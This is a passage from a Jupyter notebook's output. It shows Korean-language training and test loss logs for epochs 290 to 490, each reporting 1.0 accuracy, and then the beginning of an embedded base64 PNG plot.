"Epoch: 290, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0008302389178425074 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0007702676812186837 1.0 0.0\n", "Epoch: 300, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0016615225467830896 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0001323473552474752 1.0 0.0\n", "Epoch: 310, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0005550541682168841 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0005520002450793982 1.0 0.0\n", "Epoch: 320, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0007071844302117825 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0012582777999341488 1.0 0.0\n", "Epoch: 330, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0012428158661350608 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0005203820182941854 1.0 0.0\n", "Epoch: 340, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.006073561497032642 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0011199386790394783 1.0 0.0\n", "Epoch: 350, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0005360220093280077 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.00015633365546818823 1.0 0.0\n", "Epoch: 360, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0005045492434874177 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0005813953466713428 1.0 0.0\n", "Epoch: 370, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0004692853835877031 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.00013251470227260143 1.0 0.0\n", "Epoch: 380, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.000227496973820962 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 4.5909557229606435e-05 1.0 0.0\n", "Epoch: 390, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0001370805111946538 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0005407623248174787 1.0 0.0\n", "Epoch: 400, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.00038725603371858597 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.010775483213365078 1.0 0.0\n", "Epoch: 410, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.00021320421365089715 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0003729789168573916 1.0 0.0\n", "Epoch: 420, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0001316694833803922 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0001512835151515901 1.0 0.0\n", "Epoch: 430, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0002634330012369901 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.002318974817171693 1.0 0.0\n", "Epoch: 440, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.001173773780465126 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.00016925559611991048 1.0 0.0\n", "Epoch: 450, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0004820447647944093 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0005052560591138899 1.0 0.0\n", "Epoch: 460, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0004121879464946687 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 4.7560806706314906e-05 1.0 0.0\n", "Epoch: 470, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 4.116981290280819e-05 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.000597034755628556 1.0 0.0\n", "Epoch: 480, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.00010523253149585798 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 1.2433544725354295e-05 1.0 0.0\n", "Epoch: 490, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0003371256752870977 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 7.312098750844598e-05 1.0 0.0\n" ] }, { "data": { "image/png": "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PgD80UTg6mKJwJhYysvLw+fz0b9/f0Qa28bctCVVpaioiLy8PAYMGNDixyVU0xB9xxI84SJKaiLDRl1dbJtKY2Kpurqa7OxsSwLtRETIzs4+4hpYYiUCwNntRMLByG6YXtudzJiYsyTQvlrzfidcIhC3h0Ao8kYl+ywRGGNMwiUCXF5qQg7CQHKa9REY09mlpcVumPjevXu5/fbbGT58OKNGjeLmm29mx44dABQVFTFixAhGjBhBjx496N27d91xTU1Ni1/jhhtuYMOGDbEqApBoncUALi/BkIOQG1LcNnzUGNM6mzdvZurUqdx77708+OCDJCUl8d5773HxxRfzj3/8g0GDBrFixQoAZsyYQVpaGj/96U8PeR5VRVUPbJzVwNNPPx3TckAiJgJnEsGgEHJDjiUCY9rNzDfXsm5XaZs+50m90vnVRScf8eO2bdvGjTfeSEFBAV27duXpp5+mb9++vPzyy8ycOROn00mXLl344IMPWLt2LTfccAM1NTWEw2FeffVVBg8ezA9/+EOeffZZhg8fXve855xzDs8//zx33XUXc+fObfL1N23axHe/+10mTpzIkiVLeOutt5g5cybLly+nqqqKK664gunTpwMwceJEHn30UYYOHUpOTg633HILCxYsICUlhTfeeINu3bod+RvXQEI2DYWDQnUSpFoiMCYh3XrrrVx33XWsWrWKa665httuuw2A++67j7fffpuVK1cyb948AB5//HFuv/12VqxYwbJly8jNzeWrr76ia9euDB8+nLfeeotRo0YxdepULr30Uk488UQcDgeFhYWHjWHdunXcdNNNfPHFF/Tu3ZtZs2axbNkyVq5cyTvvvMO6desOeUxJSQlnnnkmK1euZPz48cyePbtN3o/EqxG4kgiHBL/bEoEx7ak139xj5dNPP+W1114D4Nprr+VnP/sZABMmTOD73/8+l19+OZdccgkA48eP5ze/+Q15eXlccsklDB48mJUrVzJu3DhCoRAzZ85k4cKFlJSUMHToUAAGDx7M119/TU5OTpMxDBo0iNNOO63ueM6cOTz11FMEg0F27drFunXrOOmkkw56THJyMueffz4Ap556Kh9++GGbvB8JWSPQgAO/G3zRCWbGmMRWO+Ty8ccf59e//jU7duxgxIgRFBUVcfXVVzNv3jySk5M577zzWLhwIaqK0+mksLCQQYMG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